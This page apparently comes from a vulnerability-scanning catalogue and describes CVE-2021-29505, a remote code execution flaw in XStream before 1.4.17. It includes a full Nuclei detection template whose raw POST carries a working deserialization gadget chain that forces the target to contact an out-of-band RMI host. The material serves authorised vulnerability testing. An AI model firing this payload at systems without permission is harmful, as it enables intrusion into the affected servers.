XStream <1.4.17 - Remote Code Execution

highseverity

8.8CVSS score

77.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Patched in 1.4.17.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "dns" AND contains "timestamp" or "com.thoughtworks.xstream" AND contains in header "application/json" AND status 500

Run it with nuclei: nuclei -id CVE-2021-29505 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-29505

info:
  name: XStream <1.4.17 - Remote Code Execution
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Patched in 1.4.17.
  reference:
    - https://paper.seebug.org/1543/
    - https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
    - https://github.com/x-stream/xstream/security/advisories/GHSA-7chv-rrw6-w6fc
    - https://nvd.nist.gov/vuln/detail/cve-2021-29505
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-29505
    cwe-id: CWE-502
    epss-score: 0.77232
    epss-percentile: 0.99558
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,oast,vulhub,xstream,deserialization,rce,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
            <unserializable-parents/>
            <java.util.PriorityQueue>
                <default>
                    <size>2</size>
                </default>
                <int>3</int>
                <javax.naming.ldap.Rdn_-RdnEntry>
                    <type>12345</type>
                    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
                    </value>
                </javax.naming.ldap.Rdn_-RdnEntry>
                <javax.naming.ldap.Rdn_-RdnEntry>
                    <type>12345</type>
                    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                            <parsedMessage>true</parsedMessage>
                            <soapVersion>SOAP_11</soapVersion>
                            <bodyParts/>
                            <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                                <attachmentsInitialized>false</attachmentsInitialized>
                                <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                                    <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                        <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                            <names>
                                                <string>aa</string>
                                                <string>aa</string>
                                            </names>
                                            <ctx>
                                                <environment/>
                                                <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                                    <java.rmi.server.RemoteObject>
                                                        <string>UnicastRef</string>
                                                        <string>{{interactsh-url}}</string>
                                                        <int>1099</int>
                                                        <long>0</long>
                                                        <int>0</int>
                                                        <long>0</long>
                                                        <short>0</short>
                                                        <boolean>false</boolean>
                                                    </java.rmi.server.RemoteObject>
                                                </registry>
                                                <host>{{interactsh-url}}</host>
                                                <port>1099</port>
                                            </ctx>
                                        </candidates>
                                    </aliases>
                                </nullIter>
                            </sm>
                        </message>
                    </value>
                </javax.naming.ldap.Rdn_-RdnEntry>
            </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "timestamp"
          - "com.thoughtworks.xstream"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from